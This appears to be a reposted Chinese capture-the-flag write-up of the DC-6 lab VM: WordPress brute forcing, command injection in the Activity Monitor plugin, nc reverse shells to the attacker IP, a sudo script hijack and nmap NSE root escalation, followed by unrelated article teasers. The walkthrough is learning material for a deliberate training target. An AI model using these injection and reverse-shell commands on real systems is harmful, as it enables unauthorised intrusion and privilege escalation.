DC-6靶机渗透测试全过程

目录

前期准备

一、渗透测试

1.IP地址查询

2.端口信息搜寻

3.网页信息搜集

wappalyzer

 WPScan

反弹shell

graham用户

反弹出jens的shell

nmap提权

 二、总结


前期准备

攻击机: kali windows11

靶机:DC-6靶机(调至NAT模式)

一、渗透测试

1.IP地址查询

┌──(root㉿kali)-[~]
└─# arp-scan -l

通过比较MAC地址,可以得到靶机的IP地址为 192.168.105.164

2.端口信息搜寻

┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.105.164

可以看到又开了SSH,后面应该又要登录

3.网页信息搜集

访问靶机的80端口

看起来又被重定向掉了?还记得之前打靶机的经验,尝试去改hosts文件

到:C:\Windows\System32\drivers\etc 下修改hosts文件(使用Notepad++打开)

 保存下网页就能够正常访问了

wappalyzer

 WPScan

看到一个很熟悉的cms——WordPress,这是我们之前打过的一个cms,并且还记得相应的工具WPScan。直接上网上搜,发现了WordPress 5.1.1 的漏洞。边看看网页边用dirseach扫一下目录。但是由于我们是在windows的hosts文件中改的重定向,而用wpscan扫网站时用的是kali,所以还应该将kali中的hosts文件修改一下,在 /etc/hosts

┌──(root㉿kali)-[~]
└─# wpscan --url http://wordy -e u

 成功扫出来了一些账号名(保存为user.txt)然后尤其关注登录页面

以及用dirsearch扫出来一些目录

 

先尝试到登录界面去 /wp-login.php

这里缺密码怎么办?之前用到的工具是Cewl进行爬取从而得到密码字典,这里也可以试试

成功得到一些密码,保存为passwds.txt ,然后使用WPScan进行网站登录爆破

┌──(root㉿kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt

可惜这样并不能够爆破成功,密码没匹配上。。。看了别的师傅的wp才知道官网给了密码的提示

提示我们用kali中的字典并匹配含k01这样的密码,在该目录下

发现rockyou还是个压缩包,先解压得到rockyou.txt文件

┌──(root㉿kali)-[/usr/share/wordlists]
└─# gzip rockyou.txt.gz -d

先回到dc-6目录,根据官网提示给的命令得到密码字典

┌──(root㉿kali)-[~/dc-6]
└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwds.txt

然后再用wpscan进行爆破

┌──(root㉿kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt

最终只得到了一个账号: mark helpdesk01 直接登录!

好的,现在想一下如何getshell(用mark直接ssh登录发现是不行的,权限不够)getshell可以通过命令执行弹一个shell,或者是得到别的账户密码再次尝试SSH

(1)首先可以去看看网页的功能,对一些可能的功能点进行测试

(2)可以看看WordPress 5.1.1 的历史漏洞,看看是否能够被利用

首先还是来看看WordPress 5.1.1 的漏洞,主要流传的是CSRF-to-RCE的那个漏洞

但看起来并不能够用于该靶机,只能在网页上找功能点了,而且一般来说,找的应该是插件的漏洞了,看看这里有哪几个插件

主要是这两个插件, 看看有没有什么历史漏洞?

可以看到百度上成功搜到了 Activity Monitor的历史漏洞,复现一下看看

这个地方看可以输入IP,和以前遇到的CTF题有点像,当我输入127.0.0.1 | ls -l 时,发现不能输入了,这里应该是有长度限制,看看是不是前端的长度限制

尝试只修改前端的检查试试,将其改为100

可以看到命令直接执行了,接下来弹个shell

反弹shell

现在kali上打开监听

nc -lvp 5555

然后在IP处输入

127.0.0.1 | nc 192.168.105.148 5555 -e /bin/bash

 点击执行就成功getshell了

然后用python开启交互式终端

python -c "import pty;pty.spawn('/bin/bash')"

再就是到提权了,先试试以往的提权方法

www-data@dc-6:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping

然后直接问AI “请问哪些可以用于suid漏洞提权”  但是看起来都不能利用,再试试 sudo -l,显示需要输入密码,这个密码也暂时是不知道的,只能再去看看别的一些用户了,去home目录下

www-data@dc-6:/home$ ls
ls
graham  jens  mark  sarah

看看各个用户下面有什么,说不定就有旧密码可以用于爆破

www-data@dc-6:/home/jens$ ls
ls
backups.sh

有到一个shell执行程序,看看是用来干嘛的

www-data@dc-6:/home/jens$ cat backups.sh
cat backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html

专门是用于解压 /var/www/html下的 backups.tar.gz的(看起来就是打包网站的),先放这里,继续看mark目录下的stuff

www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt
cat things-to-do.txt
Things to do:- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

这里写了一系列的事项(类似于一个flag)

恢复超空间驱动器的全部功能(需要和jens聊聊)

为sarah的告别派对买礼物

加新用户:graham - 密码为 GSo7isUM1D4 - 已完成

申请 OSCP 课程

为接替sarah工作的人买一台新笔记本电脑

此外在sarah目录下并没有找到文件,但是事项中毕竟给了graham的密码,另开一个终端,看看ssh能不能登录上

graham用户

成功登录上,看看graham能否提权

graham@dc-6:/home$ sudo -l
Matching Defaults entries for graham on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser graham may run the following commands on dc-6:(jens) NOPASSWD: /home/jens/backups.sh

此时输入 sudo -l 就有反应了,用到的就是之前看到的那个执行程序(若想要无密码执行这个文件,需要用jens的身份), 先想想需要用这个程序干什么,再想想怎么用。这个程序最多让我们获得jens的shell,既然这样的话,不妨尝试通过这个程序登上jens的账户。尝试写入反弹shell

反弹出jens的shell

graham@dc-6:/home/jens$ echo "nc 192.168.105.148 5556 -e /bin/bash" >> backups.sh

再打开kali的监听

┌──(root㉿kali)-[~]
└─# nc -lvp 5556

然后用jens的身份运行该文件

graham@dc-6:/home/jens$ sudo -u jens ./backups.sh

此时就成功获得jens用户的shell了,此时再看jens用户能不能提权

jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jens may run the following commands on dc-6:(root) NOPASSWD: /usr/bin/nmap

 看到这里有nmap,并且也是免密码运行的

jens@dc-6:/usr/bin$ ls -l nmap
ls -l nmap
-rwxr-xr-x 1 root root 2838168 Dec 22  2016 nmap

发现是root权限的,那就直接拿nmap来试试提权了,去百度搜索有关nmap的提权方式,发现有两种

nmap提权

(1)低版本的nmap提权: 利用nmap的--interactive 进入交互式命令行执行,然后执行!/bin/bash就行
(2)高版本的nmap提权:首先将提权命令写入脚本中,利用--script执行脚本
 echo "os.execute('/bin/bash')" > get_root.nse
 sudo nmap --script=get_root

这里应该就是用第二种了

jens@dc-6:~$ touch get_root.nse
touch get_root.nse
jens@dc-6:~$ ls
ls
backups.sh  backups.tar.gz  get_root.nse
jens@dc-6:~$ echo "os.execute('/bin/bash')" > get_root.nse
echo "os.execute('/bin/bash')" > get_root.nse
jens@dc-6:~$ cat get_root.nse
cat get_root.nse
os.execute('/bin/bash')

成功写入,接下来运行

jens@dc-6:~$ sudo nmap --script=get_root.nse
sudo nmap --script=get_root.nseStarting Nmap 7.40 ( https://nmap.org ) at 2025-02-14 20:52 AEST
root@dc-6:/home/jens#

成功提权到root!

root@dc-6:~# cat theflag.txtYb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8bYb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8PYbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"'YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8)Congratulations!!!Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.If you enjoyed this CTF, send me a tweet via @DCAU7.

 二、总结

(1)本次学习了nmap的提权方式,并且温习了下WPScan的用法,相比于主动去找插件的漏洞,感觉WPScan应该也能扫出来(感觉)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/895604.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[操作系统] 基础IO:系统文件I/O

在 Linux 操作系统中,文件 I/O(输入/输出)是程序与文件系统交互的基础。理解文件 I/O 的工作原理对于编写高效、可靠的程序至关重要。本文将深入探讨系统文件 I/O 的机制。 一种传递标志位的方法 在 Linux 中,文件的打开操作通常…

3.8 AI驱动的市场调研革命:从数据采集到竞品策略生成的闭环实践指南

AI驱动的市场调研革命:从数据采集到竞品策略生成的闭环实践指南 引言:智能时代的高效市场洞察 Forrester研究显示,使用AI辅助市场调研可使数据采集效率提升8倍,策略生成速度加快4倍。本文以GitHub Sentinel、LanguageMentor为案例,揭示如何构建AI增强型市场分析体系,实现…

AF3 MmcifObject类解读

AlphaFold3 中 MmcifObject类 是 解析 mmCIF 文件的核心数据结构,用于存储解析后的蛋白质结构信息,包含PDB 头部信息、Biopython 解析的结构、链序列信息等。 下面代码包含 Monomer 、AtomSite、ResiduePosition、ResidueAtPosition、 MmcifObject以及ParsingResult数据类的…

网络安全 “免疫力”:从人体免疫系统看防御策略

在当今数字化时代,网络安全已变得至关重要。每天,我们的网络系统都面临着来自各方的威胁,就像人体时刻暴露在各种病原体中一样。今天,我们就来聊聊网络安全与人体免疫系统的奇妙联系,看看从免疫系统中能汲取哪些构建强…

滚动弹幕案例

滚动弹幕案例 一、需求 1.页面上漂浮字体大小不一、颜色不一&#xff0c;从左向右滚动的弹幕&#xff1b; 2.底部中间有一个发送功能&#xff0c;可以发送新的弹幕&#xff1b; 3.底部的发送部分可以向下收起和弹出。 二、html <div class"container"><…

【wiki知识库】08.添加用户登录功能--后端SpringBoot部分

目录 一、今日目标? 二、SpringBoot后端实现 2.1 新增UserLoginParam 2.2 修改UserController 2.3 UserServiceImpl代码 2.4 创建用户上下文工具类 2.5?通过token校验用户&#xff08;重要&#xff09; 2.6 创建WebMvcConfig 2.7 用户权限校验拦截器 一、今日目标 上…

AI大模型的技术突破与传媒行业变革

性能与成本&#xff1a;AI大模型的“双轮驱动” 过去几年&#xff0c;AI大模型的发展经历了从实验室到产业化的关键转折。2025年初&#xff0c;以DeepSeek R1为代表的模型在数学推理、代码生成等任务中表现超越国际头部产品&#xff0c;而训练成本仅为传统模型的几十分之一。这…

C++字符串处理指南:从基础操作到性能优化——基于std::string的全面解析

博主将从C标准库中的 std::string 出发&#xff0c;详细探讨字符串的处理方法&#xff0c;涵盖常见操作、性能优化和实际应用场景。以下内容将围绕std::string 的使用展开&#xff0c;结合代码示例进行说明。 一、std::string 的基本操作 1.1 创建与初始化 std::string 提供了…

3.【线性代数】——矩阵乘法和逆矩阵

三 矩阵乘法和逆矩阵 1. 矩阵乘法1.1 常规方法1.2 列向量组合1.3 行向量组合1.4 单行和单列的乘积和1.5 块乘法 2. 逆矩阵2.1 逆矩阵的定义2.2 奇异矩阵2.3 Gauss-Jordan 求逆矩阵2.3.1 求逆矩阵 ⟺ \Longleftrightarrow ⟺解方程组2.3.2 Gauss-Jordan求逆矩阵 1. 矩阵乘法 1.…

深入了解 Oracle 正则表达式

目录 深入了解 Oracle 正则表达式一、正则表达式基础概念二、Oracle 正则表达式语法&#xff08;一&#xff09;字符类&#xff08;二&#xff09;重复限定符&#xff08;三&#xff09;边界匹配符&#xff08;四&#xff09;分组和捕获 三、Oracle 正则表达式函数&#xff08;…

用python写一个聊天室程序

下面是一个简单的基于Socket的Python聊天室程序示例&#xff0c;包括服务器端和客户端&#xff1a; 服务器端代码&#xff1a; import socket import threadingdef handle_client(client, address):print(f"New connection from {address}")while True:msg client…

在nodejs中使用RabbitMQ(六)sharding消息分片

RabbitMQ 的分片插件&#xff08;rabbitmq_sharding&#xff09;允许将消息分布到多个队列中&#xff0c;这在消息量很大或处理速度要求高的情况下非常有用。分片功能通过将消息拆分到多个队列中来平衡负载&#xff0c;从而提升消息处理的吞吐量和可靠性。它能够在多个队列之间…

1.7 AI智能体实战指南:从单任务自动化到企业级智能体集群架构

AI智能体实战指南:从单任务自动化到企业级智能体集群架构 一、智能体技术演进:从脚本工具到认知革命的跨越 1.1 三代智能体能力对比 能力维度第一代(规则驱动)第二代(机器学习)第三代(LLM驱动)任务理解固定模式匹配统计模式识别语义推理与逻辑链分解环境适应需人工重写…

Github 2025-02-14 Java开源项目日报 Top10

根据Github Trendings的统计,今日(2025-02-14统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Java项目10C#项目1Guava: 谷歌Java核心库 创建周期:3725 天开发语言:Java协议类型:Apache License 2.0Star数量:49867 个Fork数量:10822 次…

C++17中的clamp函数

一、std::clamp() 其实在前面简单介绍过这个函数&#xff0c;但当时只是一个集中的说明&#xff0c;为了更好的理解std::clamp的应用&#xff0c;本篇再详细进行阐述一次。std::clamp在C17中其定义的方式为&#xff1a; template< class T > constexpr const T& cl…

WEB安全--SQL注入--常见的注入手段

一、联表查询&#xff1a; 1.1原理&#xff1a; 当payload参数被后端查询语句接收到时&#xff0c;其中的非法语句通过union关联显示出其他的数据 1.2示例&#xff1a; #payload: -1 and union select 1,2,database()--#query: $sqlselect * from users where id-1 and union …

QT笔记——QPlainTextEdit

文章目录 1、概要2、文本设计2.1、设置文本2.1、字体样式&#xff08;大小、下划线、加粗、斜体&#xff09; 1、概要 QPlainTextEdit 是 Qt 框架中用于处理纯文本编辑的控件&#xff0c;具有轻量级和高效的特点&#xff0c;以下是它常见的应用场景&#xff1a; 文本编辑器&am…

【D2】神经网络初步学习

总结&#xff1a;学习了 PyTorch 中的基本概念和常用功能&#xff0c;张量&#xff08;Tensor&#xff09;的操作、自动微分&#xff08;Autograd&#xff09;、正向传播、反向传播。通过了解认识LeNet 模型&#xff0c;定义神经网络类&#xff0c;熟悉卷积神经网络的基本结构和…

DeepSeek处理自有业务的案例:让AI给你写一份小众编辑器(EverEdit)的语法着色文件

1 DeepSeek处理自有业务的案例&#xff1a;让AI给你写一份小众编辑器(EverEdit)的语法着色文件 1.1 背景 AI能力再强&#xff0c;如果不能在企业的自有业务上产生助益&#xff0c;那基本也是一无是处。将企业的自有业务上传到线上训练&#xff0c;那是脑子进水的做法&#xff…

DeepSeek教unity------MessagePack-05

动态反序列化 当调用 MessagePackSerializer.Deserialize<object> 或 MessagePackSerializer.Deserialize<dynamic> 时&#xff0c;二进制数据中存在的任何值都将被转换为基本值&#xff0c;即 bool、char、sbyte、byte、short、int、long、ushort、uint、ulong、…